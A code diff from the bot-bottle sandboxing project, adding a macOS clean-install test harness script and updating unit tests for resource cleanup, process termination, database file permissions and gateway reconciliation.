+    if [ -n "${BB_TEST_INSTALL_URL:-}" ]; then
+        run_as_user "BOT_BOTTLE_INSTALL_SPEC='$spec' curl -fsSL '$BB_TEST_INSTALL_URL' | sh"
+    else
+        # Test THIS checkout's install.sh, not the published one, so a PR is
+        # verifiable before it lands. Feed it in on stdin rather than staging a
+        # copy somewhere the throwaway user can read: the redirect is opened by
+        # root before sudo drops privileges, so the tester's mode-700 home is a
+        # non-issue, there's no temp file to leak if the run is interrupted, and
+        # `sh -s` is the same shape as the documented `curl … | sh` install.
+        #
+        # The spec is prepended to the stream as an export rather than passed
+        # as an argument, for the same argv-joining reason as run_as_user.
+        {
+            printf "export BOT_BOTTLE_INSTALL_SPEC='%s'\n" "$spec"
+            cat "$_REPO_ROOT/install.sh"
+        } | sudo -u "$USER_NAME" -i sh -s
+    fi
+    [ "$IN_TEST" = 1 ] \
+        || echo "== install.sh runs 'doctor' itself; re-check anytime with: $0 status =="
+}
+
+# Informational, with one teeth-bearing case: when it can actually reach
+# doctor (root, account present) its exit status is doctor's, so `test` and
+# any other caller can use it as the post-install assertion.
+cmd_status() {
+    require_macos
+    local rc=0
+    if user_exists; then
+        echo "user:    $USER_NAME present"
+        if [ "$(id -u)" -eq 0 ]; then
+            echo "doctor (as $USER_NAME):"
+            doctor_as_user || rc=1
+        else
+            echo "  (re-run under sudo to run 'bot-bottle doctor' as $USER_NAME)"
+        fi
+    else
+        echo "user:    $USER_NAME absent"
+    fi
+    if command -v container >/dev/null 2>&1; then
+        echo "backend: apple 'container' present ($(container --version 2>/dev/null | head -1))"
+    else
+        echo "backend: apple 'container' NOT on PATH (host prerequisite; install once)"
+    fi
+    return "$rc"
+}
+
+cmd_down() {
+    require_macos
+    require_root down
+    if ! user_exists; then
+        echo "$USER_NAME not present; nothing to remove"
+        return 0
+    fi
+    # A plain -deleteUser removes the home dir, which is the whole reset.
+    # -secure is a no-op on modern macOS (secure erase of the home folder
+    # was removed in Sierra), so it buys nothing here.
+    sysadminctl -deleteUser "$USER_NAME" || true
+    if user_exists; then
+        echo "error: $USER_NAME still present after delete." >&2
+        echo "  - grant Terminal Full Disk Access (System Settings > Privacy & Security), or" >&2
+        echo "  - it may hold the last Secure Token (won't happen while another admin exists)" >&2
+        return 1
+    fi
+    echo "removed $USER_NAME and its home — install surface is clean."
+}
+
+# Satisfy the throwaway user's backend prerequisites.
+#
+# `bot-bottle backend setup --backend=macos-container` deliberately does NOT do
+# this: it only checks, then tells you to run `container system start` yourself
+# (see backend/macos_container/setup.py — "no privileged host setup required").
+# So the harness runs the command the product asks for, as the user who needs
+# it, which is the whole prerequisite for the macOS backend given the CLI is
+# already installed host-wide.
+cmd_prereqs() {
+    require_macos
+    require_root prereqs
+    user_exists || { echo "error: $USER_NAME does not exist" >&2; return 1; }
+    command -v container >/dev/null 2>&1 || {
+        echo "error: the Apple 'container' CLI is not on PATH. It is a HOST" >&2
+        echo "  prerequisite this harness does not install; see the header." >&2
+        return 1
+    }
+    echo "starting the per-user Apple 'container' service for $USER_NAME"
+    user_session_available || {
+        echo "warning: no launchd session for $USER_NAME; the service start is" >&2
+        echo "  likely to fail with 'unauthorized request'. See user_session_available." >&2
+    }
+    # The kernel flag is not optional for a headless run. `container system
+    # start` PROMPTS for the default Linux kernel when neither flag is given
+    # ("default: prompt user"), and a throwaway account has no kernel because
+    # it lives in the per-user app root — so the prompt always fires here and
+    # dies on "failed to read user input" with no TTY.
+    #
+    # Enabling it is also the honest choice for what this variant claims: the
+    # backend cannot actually run a bottle without a guest kernel. The cost is
+    # that every test-ready run downloads one afresh, since the previous run's
+    # copy went with the deleted home. BB_TEST_KERNEL_INSTALL=0 skips the
+    # download when you only care that the service comes up.
+    local kernel_flag=--enable-kernel-install
+    [ "${BB_TEST_KERNEL_INSTALL:-1}" = "0" ] && kernel_flag=--disable-kernel-install
+    echo "  ($kernel_flag)"
+    run_as_user "container system start $kernel_flag" || {
+        echo "error: 'container system start' failed for $USER_NAME" >&2
+        echo "  invalidState/\"unauthorized request\" means the CLI could not reach" >&2
+        echo "    its per-user apiserver over XPC — a never-GUI-logged-in account may" >&2
+        echo "    have no usable launchd domain; log into $USER_NAME once to get one." >&2
+        echo "  A download failure means the guest kernel could not be fetched; retry" >&2
+        echo "    with network, or BB_TEST_KERNEL_INSTALL=0 to skip it." >&2
+        return 1
+    }
+    run_as_user 'container system status' || {
+        echo "error: the service is still not running for $USER_NAME" >&2
+        return 1
+    }
+}
+
+# Teardown half of the test cycles, installed as an EXIT trap the moment the
+# account exists so a failure — or a Ctrl-C — still leaves the machine clean.
+_test_teardown() {
+    local rc=$?
+    trap - EXIT INT TERM
+    if [ "${BB_TEST_KEEP:-0}" = "1" ]; then
+        echo
+        echo "== [$_STEPS/$_STEPS] down: SKIPPED (BB_TEST_KEEP=1) =="
+        echo "   $USER_NAME is still around; remove it with: sudo $0 down"
+        exit "$rc"
+    fi
+    echo
+    echo "== [$_STEPS/$_STEPS] down =="
+    cmd_down || rc=1
+    if [ "$rc" -eq 0 ]; then
+        echo
+        echo "PASS: $_PASS_CLAIM"
+    else
+        echo
+        echo "FAIL: see above (the throwaway account was torn down regardless)." >&2
+    fi
+    exit "$rc"
+}
+
+# The two variants differ only in whether the backend prerequisites get
+# satisfied before doctor runs, which is exactly the question each one asks:
+#
+#   test        a brand-new user on a machine where nothing has been set up for
+#               them. Asserts the INSTALL is sound; backend readiness is
+#               reported, not required, because install.sh does not provide a
+#               backend and cannot regress one.
+#   test-ready  the same user with the documented prerequisites satisfied.
+#               Asserts doctor goes fully green, backend included — the
+#               end-to-end "a new user can actually run a bottle" claim.
+_test_cycle() {
+    local with_prereqs="$1"
+    require_macos
+    require_root test
+    # A pre-existing account means a pre-existing home, which is the one thing
+    # this harness exists to rule out. Don't silently test a dirty install.
+    if user_exists; then
+        echo "error: $USER_NAME already exists, so this would not be a clean install." >&2
+        echo "  reset first:  sudo $0 down" >&2
+        return 1
+    fi
+    IN_TEST=1
+
+    echo "== [1/$_STEPS] up =="
+    cmd_up
+    trap _test_teardown EXIT INT TERM
+
+    echo
+    echo "== [2/$_STEPS] run =="
+    cmd_run
+
+    if [ "$with_prereqs" = 1 ]; then
+        echo
+        echo "== [3/$_STEPS] prereqs =="
+        cmd_prereqs || {
+            echo "error: could not satisfy the backend prerequisites (see above)." >&2
+            return 1
+        }
+    fi
+
+    echo
+    echo "== [$((_STEPS - 1))/$_STEPS] status =="
+    # install.sh exits 0 even when doctor reports unmet prerequisites, so the
+    # install succeeding is not the verdict — this is.
+    cmd_status || {
+        echo "error: doctor is unhappy for a freshly installed user (see above)." >&2
+        echo "  re-run with BB_TEST_KEEP=1 to keep $USER_NAME around and dig in." >&2
+        return 1
+    }
+}
+
+cmd_test() {
+    _STEPS=4
+    _PASS_CLAIM="a brand-new user can install bot-bottle; the install is sound."
+    _test_cycle 0
+}
+
+cmd_test_ready() {
+    _STEPS=5
+    _PASS_CLAIM="a brand-new user with the prerequisites met passes doctor outright."
+    # With the prerequisites satisfied there is no excuse for an unready
+    # backend, so this variant demands the thing `test` only reports.
+    BB_TEST_REQUIRE_BACKEND=1
+    _test_cycle 1
+}
+
+cmd_deep_reset() {
+    require_macos
+    require_root deep-reset
+    # Remove the user first (idempotent), then the HOST-level container
+    # runtime that a user deletion leaves behind under /usr/local + launchd.
+    cmd_down || true
+    if command -v container >/dev/null 2>&1; then
+        # The service can run in more than one launchd context (the invoking
+        # user's and root's), so stop both, best-effort.
+        [ -n "${SUDO_USER:-}" ] && sudo -u "$SUDO_USER" container system stop 2>/dev/null || true
+        container system stop 2>/dev/null || true
+        if [ -x /usr/local/bin/uninstall-container.sh ]; then
+            /usr/local/bin/uninstall-container.sh -d || true
+            echo "uninstalled the host Apple 'container' runtime"
+        else
+            echo "note: /usr/local/bin/uninstall-container.sh not found; runtime left as-is" >&2
+        fi
+    else
+        echo "no 'container' runtime on PATH; nothing further to remove"
+    fi
+}
+
+case "${1:-}" in
+    test) cmd_test ;;
+    test-ready) cmd_test_ready ;;
+    up) cmd_up ;;
+    run) cmd_run ;;
+    prereqs) cmd_prereqs ;;
+    status) cmd_status ;;
+    down) cmd_down ;;
+    deep-reset) cmd_deep_reset ;;
+    *) echo "usage: $0 {test|test-ready|up|run|prereqs|status|down|deep-reset}" >&2 ; exit 2 ;;
+esac
@@ -95,7 +95,7 @@ BOT_BOTTLE_RUN_CANARIES=1 python -m scripts.unittest_gate \
   ```
 4. Skip guards live in `tests._backend` and gate on the backend's own
   readiness check, `bot_bottle.backend.has_backend` — the same probe
-   behind `./cli.py backend status`:
+   behind `bot-bottle backend status`:
   - Backend-agnostic tests (go through `get_bottle_backend()`) decorate
     the class with `@skip_unless_selected_backend_available()` — the test
     runs against whichever backend `BOT_BOTTLE_BACKEND` selects and skips
@@ -105,7 +105,7 @@ BOT_BOTTLE_RUN_CANARIES=1 python -m scripts.unittest_gate \
     `backend.docker.*`, …) decorate with `@skip_unless_backend("docker")`
     so they no-op under a run targeting a different backend.

-   Each CI integration job runs `./cli.py backend status --backend=<name>`
+   Each CI integration job runs `bot-bottle backend status --backend=<name>`
   as a preflight, which prints a clear per-check summary and exits non-zero
   when the backend is missing — so absent infrastructure fails the job
   instead of hiding among per-test `unittest.skip` lines.
@@ -2,7 +2,7 @@

 Each integration test targets the backend named by ``BOT_BOTTLE_BACKEND``
 (default ``docker``) and gates on that backend's full readiness check —
-``is_backend_ready()`` (equivalent to ``./cli.py backend status``), not just
+``is_backend_ready()`` (equivalent to ``bot-bottle backend status``), not just
 a binary-on-PATH probe. When the backend is not ready, diagnostic output is
 printed during test discovery so the operator sees a concrete reason for each
 skip.
@@ -2,9 +2,7 @@

 from __future__ import annotations

-import json
 import subprocess
-import tempfile
 import unittest
 from pathlib import Path
 from types import SimpleNamespace
@@ -107,21 +105,6 @@ class TestDockerReprovision(unittest.TestCase):


 class TestFirecrackerReprovision(unittest.TestCase):
-    def _run_dir(self, root: Path, ip: str = "10.243.0.3") -> Path:
-        run_dir = root / "demo"
-        run_dir.mkdir()
-        (run_dir / "bottle_id_ed25519").write_text("key")
-        (run_dir / "config.json").write_text(json.dumps({
-            "boot-source": {"boot_args": f"root=/dev/vda ip={ip}::gw:mask::eth0:off"}
-        }))
-        return run_dir
-
-    def test_extracts_guest_ip_from_config(self) -> None:
-        with tempfile.TemporaryDirectory() as tmp:
-            run_dir = self._run_dir(Path(tmp))
-            self.assertEqual("10.243.0.3", fc._guest_ip_from_config(run_dir / "config.json"))
-            self.assertEqual("", fc._guest_ip_from_config(run_dir / "missing.json"))
-
    def test_persists_key_over_stdin_not_argv(self) -> None:
        with patch.object(fc.util, "ssh_base_argv", return_value=["ssh", "guest"]), \
             patch.object(fc.subprocess, "run", return_value=_proc()) as run:
@@ -135,29 +118,6 @@ class TestFirecrackerReprovision(unittest.TestCase):
            with self.assertRaisesRegex(fc.ConsolidatedLaunchError, "denied"):
                fc.persist_env_var_secret(Path("/key"), "10.0.0.1", "secret")

-    def test_reads_live_vm_key_and_reprovisions(self) -> None:
-        with tempfile.TemporaryDirectory() as tmp:
-            run_dir = self._run_dir(Path(tmp))
-            client = Mock()
-            with patch.object(fc.cleanup, "live_run_dirs", return_value=(run_dir,)), \
-                 patch.object(fc.util, "ssh_base_argv", return_value=["ssh", "guest"]), \
-                 patch.object(fc.subprocess, "run", return_value=_proc(stdout="secret\n")), \
-                 patch.object(fc, "reprovision_bottles", return_value=1) as restore, \
-                 patch.object(fc, "info"):
-                fc._reprovision_running_bottles(client)
-        restore.assert_called_once_with(client, {"10.243.0.3": "secret"})
-
-    def test_unreadable_vm_is_skipped(self) -> None:
-        with tempfile.TemporaryDirectory() as tmp:
-            run_dir = self._run_dir(Path(tmp))
-            client = Mock()
-            with patch.object(fc.cleanup, "live_run_dirs", return_value=(run_dir,)), \
-                 patch.object(fc.util, "ssh_base_argv", return_value=["ssh", "guest"]), \
-                 patch.object(fc.subprocess, "run", return_value=_proc(1)), \
-                 patch.object(fc, "reprovision_bottles", return_value=0) as restore:
-                fc._reprovision_running_bottles(client)
-        restore.assert_called_once_with(client, {})
-

 if __name__ == "__main__":
    unittest.main()
@@ -1,7 +1,7 @@
 """Tests for the backend-aware skip guards in ``tests/_backend.py``.

 The guards delegate their readiness check to
-``bot_bottle.backend.is_backend_ready`` (the probe behind ``./cli.py backend
+``bot_bottle.backend.is_backend_ready`` (the probe behind ``bot-bottle backend
 status``); here that probe is mocked so the unit job asserts the
 selection/skip logic without either backend present on the runner.
 """
@@ -1,6 +1,6 @@
 """Unit: the generic `backend` CLI command.

-`./cli.py backend {setup,status} [--backend=NAME]` resolves a backend
+`bot-bottle backend {setup,status} [--backend=NAME]` resolves a backend
 and dispatches to its `setup()` / `status()` classmethods — no
 backend-specific commands. Also covers the docker backend's own
 setup/status logic (the firecracker path is exercised by
@@ -17,6 +17,7 @@ from bot_bottle.cli.commands import cleanup as cmd
 def _make_backend(empty: bool = True):
    backend = MagicMock()
    plan = MagicMock(empty=empty)
+    plan.intersect.return_value = plan
    backend.prepare_cleanup.return_value = plan
    backend.cleanup = MagicMock()
    return backend, plan
@@ -41,8 +42,8 @@ class TestCmdCleanup(unittest.TestCase):
        ):
            self.assertEqual(0, cmd.cmd_cleanup([]))

-        docker.prepare_cleanup.assert_called_once()
-        fc.prepare_cleanup.assert_called_once()
+        self.assertEqual(2, docker.prepare_cleanup.call_count)
+        self.assertEqual(2, fc.prepare_cleanup.call_count)
        docker.cleanup.assert_called_once_with(docker_plan)
        fc.cleanup.assert_called_once_with(fc_plan)

@@ -68,7 +69,7 @@ class TestCmdCleanup(unittest.TestCase):
        ):
            self.assertEqual(0, cmd.cmd_cleanup([]))

-        docker.prepare_cleanup.assert_called_once()
+        self.assertEqual(2, docker.prepare_cleanup.call_count)
        docker.cleanup.assert_called_once_with(docker_plan)
        macos.prepare_cleanup.assert_not_called()

@@ -135,6 +136,28 @@ class TestCmdCleanup(unittest.TestCase):
        docker.cleanup.assert_called_once_with(docker_plan)
        fc.cleanup.assert_not_called()

+    def test_executes_only_displayed_resources_still_current(self):
+        backend = MagicMock()
+        preview = MagicMock(empty=False)
+        refreshed = MagicMock(empty=False)
+        approved = MagicMock(empty=False)
+        preview.intersect.return_value = approved
+        backend.prepare_cleanup.side_effect = [preview, refreshed]
+
+        with patch.object(
+            cmd, "known_backend_names", return_value=("firecracker",),
+        ), patch.object(
+            cmd, "get_bottle_backend", return_value=backend,
+        ), patch.object(
+            cmd, "has_backend", return_value=True,
+        ), patch.object(
+            cmd, "_prompt_yes", return_value=True,
+        ):
+            self.assertEqual(0, cmd.cmd_cleanup([]))
+
+        preview.intersect.assert_called_once_with(refreshed)
+        backend.cleanup.assert_called_once_with(approved)
+

 if __name__ == "__main__":
    unittest.main()
@@ -44,6 +44,17 @@ class TestProjectNaming(unittest.TestCase):


 class TestComposeProjectListing(unittest.TestCase):
+    def test_compose_ls_empty_when_docker_unusable(self):
+        # Missing is the obvious case; present-but-not-executable raises
+        # PermissionError instead, which must not escape as a crash.
+        for exc in (FileNotFoundError, PermissionError(13, "Permission denied", "docker")):
+            with self.subTest(exc=type(exc).__name__):
+                with mock.patch(
+                    "bot_bottle.backend.docker.compose.subprocess.run",
+                    side_effect=exc,
+                ):
+                    self.assertEqual([], list_compose_projects())
+
    def test_compose_ls_error_warns_by_default(self):
        with (
            mock.patch(
@@ -3,9 +3,11 @@
 from __future__ import annotations

 import sqlite3
+import stat
 import tempfile
 import unittest
 from pathlib import Path
+from unittest.mock import patch

 from bot_bottle.store.db_store import DbStore
 from bot_bottle.store.migrations import TableMigrations
@@ -22,6 +24,48 @@ class TestDbStoreIsMigrated(unittest.TestCase):
            store = _store(Path(d))
            self.assertFalse(store.is_migrated())

+    def test_creates_private_directory_and_database_before_first_open(self):
+        with tempfile.TemporaryDirectory() as d:
+            parent = Path(d) / "store"
+            store = _store(parent)
+            self.assertEqual(0o700, stat.S_IMODE(parent.stat().st_mode))
+            self.assertFalse(store.db_path.exists())
+            store.migrate()
+            self.assertEqual(0o600, stat.S_IMODE(store.db_path.stat().st_mode))
+
+    def test_repairs_existing_permissions(self):
+        with tempfile.TemporaryDirectory() as d:
+            parent = Path(d) / "store"
+            parent.mkdir(mode=0o755)
+            db_path = parent / "test.db"
+            db_path.touch(mode=0o644)
+            store = _store(parent)
+            self.assertEqual(db_path, store.db_path)
+            self.assertEqual(0o700, stat.S_IMODE(parent.stat().st_mode))
+            self.assertEqual(0o600, stat.S_IMODE(db_path.stat().st_mode))
+
+    def test_permission_repair_failure_is_not_suppressed(self):
+        with tempfile.TemporaryDirectory() as d:
+            parent = Path(d) / "store"
+            parent.mkdir()
+            (parent / "test.db").touch()
+            with patch("os.fchmod", side_effect=OSError("denied")):
+                with self.assertRaisesRegex(OSError, "denied"):
+                    _store(parent)
+
+    def test_rejects_database_symlink_without_changing_target(self):
+        with tempfile.TemporaryDirectory() as d:
+            parent = Path(d) / "store"
+            parent.mkdir()
+            target = Path(d) / "target"
+            target.touch(mode=0o644)
+            (parent / "test.db").symlink_to(target)
+
+            with self.assertRaises(OSError):
+                _store(parent)
+
+            self.assertEqual(0o644, stat.S_IMODE(target.stat().st_mode))
+
    def test_returns_false_when_schema_versions_missing(self):
        # DB file exists but has no schema_versions table → OperationalError → False.
        with tempfile.TemporaryDirectory() as d:
@@ -14,9 +14,12 @@ from __future__ import annotations
 import tempfile
 import unittest
 from pathlib import Path
+from unittest.mock import patch

 from tests.unit import use_bottle_root
 from bot_bottle import bottle_state
+from bot_bottle.backend import EnumerationError
+from bot_bottle.backend.docker import cleanup
 from bot_bottle.backend.docker.cleanup import _list_orphan_state_dirs


@@ -116,5 +119,37 @@ class TestOrphanStateDirs(_FakeHomeMixin, unittest.TestCase):
        )


+class TestAuthoritativeDiscovery(unittest.TestCase):
+    def test_prepare_requires_authoritative_compose_projects(self):
+        with patch.object(cleanup.docker_mod, "require_docker"), \
+             patch.object(
+                 cleanup, "list_compose_projects",
+                 side_effect=EnumerationError("compose unavailable"),
+             ) as projects, self.assertRaisesRegex(
+                 EnumerationError, "compose unavailable",
+             ):
+            cleanup.prepare_cleanup()
+        projects.assert_called_once_with(
+            warn_on_error=False,
+            raise_on_error=True,
+        )
+
+    def test_container_query_failure_raises(self):
+        failed = cleanup.subprocess.CompletedProcess(
+            [], 1, stdout="", stderr="daemon unavailable",
+        )
+        with patch.object(cleanup.subprocess, "run", return_value=failed), \
+             self.assertRaisesRegex(EnumerationError, "daemon unavailable"):
+            cleanup._list_prefixed_containers()
+
+    def test_network_query_failure_raises(self):
+        failed = cleanup.subprocess.CompletedProcess(
+            [], 1, stdout="", stderr="daemon unavailable",
+        )
+        with patch.object(cleanup.subprocess, "run", return_value=failed), \
+             self.assertRaisesRegex(EnumerationError, "daemon unavailable"):
+            cleanup._list_prefixed_networks()
+
+
 if __name__ == "__main__":
    unittest.main()
@@ -32,15 +32,19 @@ class TestProcessScan(unittest.TestCase):
        self.assertEqual(
            Path("/cache/run/dev-a"),
            fc_cleanup._run_dir_of(
-                f"firecracker --config-file {run_root}/dev-a/config.json", run_root
+                ("firecracker", "--config-file",
+                 f"{run_root}/dev-a/config.json"), run_root
            ),
        )
        # infra/builder VMs elsewhere, or nested paths, are not ours.
        self.assertIsNone(
-            fc_cleanup._run_dir_of("firecracker --config-file /elsewhere/config.json", run_root)
+            fc_cleanup._run_dir_of(
+                ("firecracker", "--config-file", "/elsewhere/config.json"),
+                run_root,
+            )
        )
        self.assertIsNone(
-            fc_cleanup._run_dir_of("firecracker --no-config", run_root)
+            fc_cleanup._run_dir_of(("firecracker", "--no-config"), run_root)
        )

    def test_scan_splits_live_dirs_from_orphan_pids(self):
@@ -48,17 +52,40 @@ class TestProcessScan(unittest.TestCase):
            run_root = Path(tmp)
            (run_root / "live-a").mkdir()  # dir present -> live VM, protected
            # "gone-b" dir intentionally absent -> lingering VMM, orphan pid
-            out = (
-                f"111 firecracker --config-file {run_root}/live-a/config.json\n"
-                f"222 firecracker --config-file {run_root}/gone-b/config.json\n"
-                "333 firecracker --config-file /elsewhere/config.json\n"
-                "notanint firecracker --config-file x\n"
-            )
-            with patch.object(fc_cleanup.subprocess, "run", return_value=_proc(out)):
+            args = {
+                111: ("firecracker", "--config-file",
+                      f"{run_root}/live-a/config.json"),
+                222: ("firecracker", "--config-file",
+                      f"{run_root}/gone-b/config.json"),
+                333: ("firecracker", "--config-file", "/elsewhere/config.json"),
+            }
+            with patch.object(
+                fc_cleanup.subprocess, "run",
+                return_value=_proc("111\n222\n333\nnotanint\n"),
+            ), patch.object(
+                fc_cleanup, "_process_args", side_effect=args.get,
+            ):
                live, orphan_pids = fc_cleanup._scan_processes(run_root)
        self.assertEqual({str(run_root / "live-a")}, live)
        self.assertEqual([222], orphan_pids)

+    def test_scan_preserves_spaces_in_config_path(self):
+        with tempfile.TemporaryDirectory(prefix="fc cache ") as tmp:
+            run_root = Path(tmp)
+            live = run_root / "live bottle"
+            live.mkdir()
+            with patch.object(
+                fc_cleanup.subprocess, "run", return_value=_proc("111\n"),
+            ), patch.object(
+                fc_cleanup, "_process_args",
+                return_value=("firecracker", "--config-file",
+                              str(live / "config.json")),
+            ):
+                self.assertEqual(
+                    ({str(live)}, []),
+                    fc_cleanup._scan_processes(run_root),
+                )
+
    def test_scan_empty_when_pgrep_finds_no_processes(self):
        with patch.object(fc_cleanup.subprocess, "run", return_value=_proc(returncode=1)):
            self.assertEqual((set(), []), fc_cleanup._scan_processes(Path("/x")))
@@ -117,9 +144,14 @@ class TestProcessScan(unittest.TestCase):
            run_root = Path(tmp)
            (run_root / "live-a").mkdir()
            (run_root / "dead-b").mkdir()
-            out = f"111 firecracker --config-file {run_root}/live-a/config.json\n"
            with patch.object(fc_cleanup, "_run_root", return_value=run_root), \
-                 patch.object(fc_cleanup.subprocess, "run", return_value=_proc(out)):
+                 patch.object(fc_cleanup.subprocess, "run",
+                              return_value=_proc("111\n")), \
+                 patch.object(
+                     fc_cleanup, "_process_args",
+                     return_value=("firecracker", "--config-file",
+                                   str(run_root / "live-a/config.json")),
+                 ):
                plan = fc_cleanup.prepare_cleanup()
        self.assertEqual((), plan.vm_pids)
        self.assertEqual((str(run_root / "dead-b"),), plan.run_dirs)
@@ -132,18 +164,46 @@ class TestCleanupRemoval(unittest.TestCase):
            vm_pids=(101,),
            run_dirs=("/run/dev-x",),
        )
-        with patch.object(fc_cleanup.os, "kill") as kill, \
-             patch.object(fc_cleanup.shutil, "rmtree") as rmtree, \
+        with patch.object(fc_cleanup, "prepare_cleanup", return_value=plan), \
+             patch.object(fc_cleanup, "_run_root", return_value=Path("/run")), \
+             patch.object(fc_cleanup, "_terminate_orphan") as terminate, \
+             patch("bot_bottle.backend.cleanup_control.shutil.rmtree") as rmtree, \
             patch.object(fc_cleanup, "info"):
            fc_cleanup.cleanup(plan)
-        kill.assert_called_once()
-        rmtree.assert_called_once_with("/run/dev-x", ignore_errors=True)
+        terminate.assert_called_once_with(101, Path("/run"))
+        rmtree.assert_called_once_with(Path("/run/dev-x"))

-    def test_cleanup_tolerates_dead_pid(self):
-        plan = FirecrackerBottleCleanupPlan(vm_pids=(999,))
-        with patch.object(fc_cleanup.os, "kill", side_effect=ProcessLookupError), \
-             patch.object(fc_cleanup, "info"):
-            fc_cleanup.cleanup(plan)  # must not raise
+    def test_cleanup_skips_resources_no_longer_in_refreshed_plan(self):
+        preview = FirecrackerBottleCleanupPlan(
+            vm_pids=(999,), run_dirs=("/run/reused",),
+        )
+        with patch.object(
+            fc_cleanup, "prepare_cleanup",
+            return_value=FirecrackerBottleCleanupPlan(),
+        ), patch.object(fc_cleanup, "_terminate_orphan") as terminate, \
+             patch("bot_bottle.backend.cleanup_control.shutil.rmtree") as rmtree:
+            fc_cleanup.cleanup(preview)
+        terminate.assert_not_called()
+        rmtree.assert_not_called()
+
+    def test_pidfd_prevents_pid_reuse_from_signalling_unrelated_process(self):
+        with patch.object(fc_cleanup.os, "pidfd_open", return_value=7), \
+             patch.object(
+                 fc_cleanup.Path, "read_bytes",
+                 return_value=b"/usr/bin/python\0worker.py\0",
+             ), patch.object(fc_cleanup.signal, "pidfd_send_signal") as send, \
+             patch.object(fc_cleanup.os, "close"):
+            fc_cleanup._terminate_orphan(101, Path("/run"))
+        send.assert_not_called()
+
+    def test_pidfd_signals_revalidated_orphan(self):
+        command = b"firecracker\0--config-file\0/run/gone/config.json\0"
+        with patch.object(fc_cleanup.os, "pidfd_open", return_value=7), \
+             patch.object(fc_cleanup.Path, "read_bytes", return_value=command), \
+             patch.object(fc_cleanup.signal, "pidfd_send_signal") as send, \
+             patch.object(fc_cleanup.os, "close"), patch.object(fc_cleanup, "info"):
+            fc_cleanup._terminate_orphan(101, Path("/run"))
+        send.assert_called_once_with(7, fc_cleanup.signal.SIGTERM)


 class TestCleanupPlan(unittest.TestCase):
@@ -56,6 +56,21 @@ class TestNetpoolProbes(unittest.TestCase):
        with patch.object(netpool.subprocess, "run", side_effect=FileNotFoundError):
            self.assertFalse(netpool._run_ok(["nft"]))

+    def test_run_ok_false_on_unexecutable_binary(self):
+        # A name on PATH that this user can't execute raises PermissionError,
+        # not FileNotFoundError — CPython reports that EACCES in preference to
+        # the ENOENT from the other PATH entries. Catching only the latter made
+        # `doctor` die with a traceback on a fresh macOS account.
+        with patch.object(netpool.subprocess, "run",
+                          side_effect=PermissionError(13, "Permission denied", "ip")):
+            self.assertFalse(netpool._run_ok(["ip", "link", "show", "bbfc0"]))
+
+    def test_overlapping_routes_empty_when_ip_unusable(self):
+        for exc in (FileNotFoundError, PermissionError(13, "Permission denied", "ip")):
+            with self.subTest(exc=type(exc).__name__), \
+                 patch.object(netpool.subprocess, "run", side_effect=exc):
+                self.assertEqual([], netpool.overlapping_routes())
+
    def test_tap_and_nft_probes(self):
        with patch.object(netpool, "_run_ok", return_value=True) as ok:
            self.assertTrue(netpool.tap_present("bbfc0"))
@@ -21,6 +21,7 @@ from bot_bottle.backend.firecracker.orchestrator import FirecrackerOrchestrator
 # there (not at their home modules).
 _ORCH_CLS = "bot_bottle.backend.firecracker.infra.FirecrackerOrchestrator"
 _GW_CLS = "bot_bottle.backend.firecracker.infra.FirecrackerGateway"
+_RECONCILE = "bot_bottle.backend.firecracker.infra.attach_bottled_agents_to_gateway"


 class TestAccessors(unittest.TestCase):
@@ -53,10 +54,13 @@ class TestEnsureRunning(unittest.TestCase):
                    patch.object(infra_vm, "_health_ok", return_value=True), \
                    patch.object(infra_vm, "_pidfile_alive", return_value=True), \
                    patch.object(infra_vm, "stop") as stop, \
-                    patch.object(infra_vm, "ensure_built") as built:
+                    patch.object(infra_vm, "ensure_built") as built, \
+                    patch(_RECONCILE) as reconcile:
                url = FirecrackerInfraService().ensure_running()
            stop.assert_not_called()
            built.assert_not_called()
+            # Adopt path: no reconcile — gateway state is intact.
+            reconcile.assert_not_called()
            ip = infra_vm.netpool.orch_slot().guest_ip
            self.assertEqual(f"http://{ip}:{infra_vm.ORCHESTRATOR_PORT}", url)

@@ -73,7 +77,8 @@ class TestEnsureRunning(unittest.TestCase):
                    patch.object(infra_vm, "_pidfile_alive", return_value=True), \
                    patch.object(infra_vm, "stop") as stop, \
                    patch.object(infra_vm, "ensure_built"), \
-                    patch(_ORCH_CLS) as orch_cls, patch(_GW_CLS) as gw_cls:
+                    patch(_ORCH_CLS) as orch_cls, patch(_GW_CLS) as gw_cls, \
+                    patch(_RECONCILE) as reconcile:
                orch_cls.return_value.gateway_url.return_value = "http://10.243.255.1:8099"
                orch_cls.return_value.mint_gateway_token.return_value = "gw.jwt"
                FirecrackerInfraService().ensure_running()
@@ -85,6 +90,8 @@ class TestEnsureRunning(unittest.TestCase):
                "http://10.243.255.1:8099", "gw.jwt")
            # The fresh boot records the current version for the next launcher.
            self.assertEqual("v-current\n", (d / "booted-version").read_text())
+            # Cold boot: reconcile fires after gateway is up.
+            reconcile.assert_called_once()

    def test_reboots_when_gateway_dead(self):
        # Orchestrator healthy + marker current, but the gateway VM is gone ->
@@ -99,11 +106,13 @@ class TestEnsureRunning(unittest.TestCase):
                    patch.object(infra_vm, "_pidfile_alive", return_value=False), \
                    patch.object(infra_vm, "stop") as stop, \
                    patch.object(infra_vm, "ensure_built"), \
-                    patch(_ORCH_CLS) as orch_cls, patch(_GW_CLS) as gw_cls:
+                    patch(_ORCH_CLS) as orch_cls, patch(_GW_CLS) as gw_cls, \
+                    patch(_RECONCILE) as reconcile:
                FirecrackerInfraService().ensure_running()
            stop.assert_called_once()
            orch_cls.return_value.ensure_running.assert_called_once()
            gw_cls.return_value.connect_to_orchestrator.assert_called_once()
+            reconcile.assert_called_once()

    def test_boots_both_when_no_running_pair(self):
        with tempfile.TemporaryDirectory() as td:
@@ -112,7 +121,8 @@ class TestEnsureRunning(unittest.TestCase):
                    patch.object(infra_vm, "_health_ok", return_value=False), \
                    patch.object(infra_vm, "stop") as stop, \
                    patch.object(infra_vm, "ensure_built") as built, \
-                    patch(_ORCH_CLS) as orch_cls, patch(_GW_CLS) as gw_cls:
+                    patch(_ORCH_CLS) as orch_cls, patch(_GW_CLS) as gw_cls, \
+                    patch(_RECONCILE) as reconcile:
                FirecrackerInfraService().ensure_running()
        stop.assert_called_once()      # clear stale VMs first
        built.assert_called_once()
@@ -120,6 +130,27 @@ class TestEnsureRunning(unittest.TestCase):
        # reach the control plane at startup).
        orch_cls.return_value.ensure_running.assert_called_once()
        gw_cls.return_value.connect_to_orchestrator.assert_called_once()
+        # Cold boot: reconcile fires to restore CA, git-gate, and egress tokens.
+        reconcile.assert_called_once()
+
+    def test_reconcile_receives_url_and_fresh_gateway(self):
+        # reconcile gets the orchestrator URL and the gateway service (not the
